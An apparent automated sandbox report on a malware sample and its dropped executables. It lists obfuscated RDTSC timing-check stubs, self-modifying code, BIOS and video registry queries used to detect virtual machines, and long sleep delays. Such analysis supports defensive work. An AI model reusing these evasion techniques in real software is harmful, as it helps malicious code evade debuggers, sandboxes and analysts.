Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B09DD second address: 51B0A24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F33B10E1B0Bh 0x00000016 add esi, 5FEC674Eh 0x0000001c jmp 00007F33B10E1B19h 0x00000021 popfd 0x00000022 mov cx, CF57h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0A24 second address: 51B0A57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F34228F201Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F33B0B7C6D8h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0A57 second address: 51B0A5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0A5B second address: 51B0A61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0A61 second address: 51B0AAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007F33B10E1B10h 0x00000015 mov ecx, esi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push edx 0x0000001b pop ecx 0x0000001c jmp 00007F33B10E1B19h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0AAB second address: 51B0ACA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 mov ebx, 0889B57Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007F34228F1FB1h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 movzx ecx, dx 0x00000019 mov edx, 7D4C7A2Eh 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0ACA second address: 51B0AD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33B10E1B0Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0AD9 second address: 51B0AEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test byte ptr [76FB6968h], 00000002h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov bx, 8C24h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0AEF second address: 51B0BB3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F33B10E1B0Dh 0x00000008 sub esi, 32C21A66h 0x0000000e jmp 00007F33B10E1B11h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov edi, esi 0x00000018 popad 0x00000019 jne 00007F3422E573A0h 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F33B10E1B18h 0x00000026 or ax, C538h 0x0000002b jmp 00007F33B10E1B0Bh 0x00000030 popfd 0x00000031 pushfd 0x00000032 jmp 00007F33B10E1B18h 0x00000037 adc eax, 31C43F98h 0x0000003d jmp 00007F33B10E1B0Bh 0x00000042 popfd 0x00000043 popad 0x00000044 mov edx, dword ptr [ebp+0Ch] 0x00000047 pushad 0x00000048 mov edx, 7DE0A686h 0x0000004d popad 0x0000004e push esi 0x0000004f pushad 0x00000050 call 00007F33B10E1B18h 0x00000055 mov di, ax 0x00000058 pop esi 0x00000059 mov si, dx 0x0000005c popad 0x0000005d mov dword ptr [esp], ebx 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 mov edi, ecx 0x00000065 mov ecx, 54DE9FEDh 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0BB3 second address: 51B0BCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33B0B7C6D6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0BCD second address: 51B0C16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d push ecx 0x0000000e jmp 00007F33B10E1B0Bh 0x00000013 pop esi 0x00000014 jmp 00007F33B10E1B19h 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F33B10E1B0Ch 0x00000022 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0C16 second address: 51B0C71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c call 00007F33B0B7C6CBh 0x00000011 pop eax 0x00000012 pop ebx 0x00000013 movzx ecx, di 0x00000016 popad 0x00000017 push dword ptr [ebp+14h] 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F33B0B7C6CAh 0x00000021 jmp 00007F33B0B7C6D5h 0x00000026 popfd 0x00000027 popad 0x00000028 push dword ptr [ebp+10h] 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F33B0B7C6CDh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51B0CA0 second address: 51B0CA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C0AA0 second address: 51C0AA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C0AA6 second address: 51C0AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C0AAA second address: 51C0AE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d jmp 00007F33B0B7C6D4h 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 mov bh, 33h 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F33B0B7C6CCh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C0AE8 second address: 51C0AEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51C0AEE second address: 51C0B07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 52406BF second address: 52406FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F33B10E1B0Ch 0x00000011 and ecx, 526ED8D8h 0x00000017 jmp 00007F33B10E1B0Bh 0x0000001c popfd 0x0000001d mov ah, 83h 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 52406FE second address: 5240704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5240704 second address: 5240709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 523099D second address: 52309C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 52309C1 second address: 52309DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D01C5 second address: 51D01CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D01CB second address: 51D020D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F33B10E1B10h 0x0000000f mov ebp, esp 0x00000011 jmp 00007F33B10E1B10h 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D020D second address: 51D0211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D0211 second address: 51D0215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D0215 second address: 51D021B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D021B second address: 51D0221 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51D0221 second address: 51D0225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230CC5 second address: 5230CCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230CCB second address: 5230D06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F33B0B7C6CCh 0x00000013 adc ch, 00000048h 0x00000016 jmp 00007F33B0B7C6CBh 0x0000001b popfd 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230D06 second address: 5230D0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230D0C second address: 5230D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230D10 second address: 5230D14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230D14 second address: 5230D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a movsx edx, si 0x0000000d push eax 0x0000000e push edx 0x0000000f mov esi, 3787D7C1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230D28 second address: 5230D59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a pushad 0x0000000b mov eax, 469440B5h 0x00000010 popad 0x00000011 mov si, di 0x00000014 popad 0x00000015 push dword ptr [ebp+0Ch] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F33B10E1B15h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230D59 second address: 5230D5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230D5F second address: 5230D78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov dx, ax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230D78 second address: 5230D9E instructions: 0x00000000 rdtsc 0x00000002 mov edx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov ebx, esi 0x00000009 movzx ecx, bx 0x0000000c popad 0x0000000d popad 0x0000000e call 00007F33B0B7C6C9h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F33B0B7C6CBh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230D9E second address: 5230DA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230DA4 second address: 5230DFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F33B0B7C6D1h 0x00000011 jmp 00007F33B0B7C6CBh 0x00000016 popfd 0x00000017 mov ah, 42h 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e jmp 00007F33B0B7C6D2h 0x00000023 mov eax, dword ptr [eax] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushad 0x00000029 popad 0x0000002a pushad 0x0000002b popad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230DFF second address: 5230E5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F33B10E1B17h 0x00000014 jmp 00007F33B10E1B13h 0x00000019 popfd 0x0000001a mov ecx, 34D3A7AFh 0x0000001f popad 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230E5A second address: 5230E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230E5E second address: 5230E75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230E75 second address: 5230E7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230E7B second address: 5230E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230E7F second address: 5230E83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 5230EA1 second address: 5230EA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E0560 second address: 51E05AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F33B0B7C6CBh 0x0000000b adc ecx, 5A8D703Eh 0x00000011 jmp 00007F33B0B7C6D9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov eax, dword ptr fs:[00000000h] 0x00000020 jmp 00007F33B0B7C6CEh 0x00000025 nop 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E05AF second address: 51E05B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E05B3 second address: 51E05B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E05B9 second address: 51E05C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33B10E1B0Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E05C8 second address: 51E0670 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F33B0B7C6D1h 0x00000011 nop 0x00000012 pushad 0x00000013 push eax 0x00000014 call 00007F33B0B7C6D3h 0x00000019 pop esi 0x0000001a pop edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F33B0B7C6D4h 0x00000022 adc si, D388h 0x00000027 jmp 00007F33B0B7C6CBh 0x0000002c popfd 0x0000002d mov ecx, 213E5FFFh 0x00000032 popad 0x00000033 popad 0x00000034 sub esp, 1Ch 0x00000037 jmp 00007F33B0B7C6D2h 0x0000003c xchg eax, ebx 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F33B0B7C6D8h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E0670 second address: 51E06C2 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 1483E6E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F33B10E1B17h 0x00000010 xchg eax, ebx 0x00000011 pushad 0x00000012 mov dx, si 0x00000015 pushfd 0x00000016 jmp 00007F33B10E1B10h 0x0000001b and eax, 642FEDD8h 0x00000021 jmp 00007F33B10E1B0Bh 0x00000026 popfd 0x00000027 popad 0x00000028 xchg eax, esi 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E06C2 second address: 51E06DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E06DD second address: 51E0787 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F33B10E1B0Dh 0x00000012 and cx, 1186h 0x00000017 jmp 00007F33B10E1B11h 0x0000001c popfd 0x0000001d jmp 00007F33B10E1B10h 0x00000022 popad 0x00000023 mov ecx, 6DF1D541h 0x00000028 popad 0x00000029 xchg eax, esi 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F33B10E1B0Ah 0x00000031 sbb eax, 1EE93758h 0x00000037 jmp 00007F33B10E1B0Bh 0x0000003c popfd 0x0000003d pushfd 0x0000003e jmp 00007F33B10E1B18h 0x00000043 adc al, FFFFFFB8h 0x00000046 jmp 00007F33B10E1B0Bh 0x0000004b popfd 0x0000004c popad 0x0000004d xchg eax, edi 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E0787 second address: 51E078D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E078D second address: 51E0792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E0792 second address: 51E0798 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E0798 second address: 51E079C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E079C second address: 51E0814 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 push ebx 0x00000012 pop edx 0x00000013 popad 0x00000014 xchg eax, edi 0x00000015 jmp 00007F33B0B7C6D0h 0x0000001a mov eax, dword ptr [76FBB370h] 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F33B0B7C6CEh 0x00000026 sbb cx, 80D8h 0x0000002b jmp 00007F33B0B7C6CBh 0x00000030 popfd 0x00000031 mov esi, 0C7F4B8Fh 0x00000036 popad 0x00000037 xor dword ptr [ebp-08h], eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F33B0B7C6D1h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 51E0814 second address: 51E0867 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, bl 0x00000005 pushfd 0x00000006 jmp 00007F33B10E1B18h 0x0000000b add ch, FFFFFF98h 0x0000000e jmp 00007F33B10E1B0Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xor eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c movzx eax, di 0x0000001f pushfd 0x00000020 jmp 00007F33B10E1B0Dh 0x00000025 jmp 00007F33B10E1B0Bh 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Special instruction interceptor: First address: 6EEE24 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Special instruction interceptor: First address: 6EED0D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Special instruction interceptor: First address: 886501 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Special instruction interceptor: First address: 884BD0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	Special instruction interceptor: First address: 90FE08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 77EE24 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 77ED0D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 916501 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 914BD0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 99FE08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Special instruction interceptor: First address: 825B5B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Special instruction interceptor: First address: 825AE1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Special instruction interceptor: First address: 9F3F12 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Special instruction interceptor: First address: 9D3D1C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Special instruction interceptor: First address: A56FE8 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\yiDQb6GkBq.exe

Code function: 0_2_05230D8F rdtsc

0_2_05230D8F

Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	Thread delayed: delay time: 600000

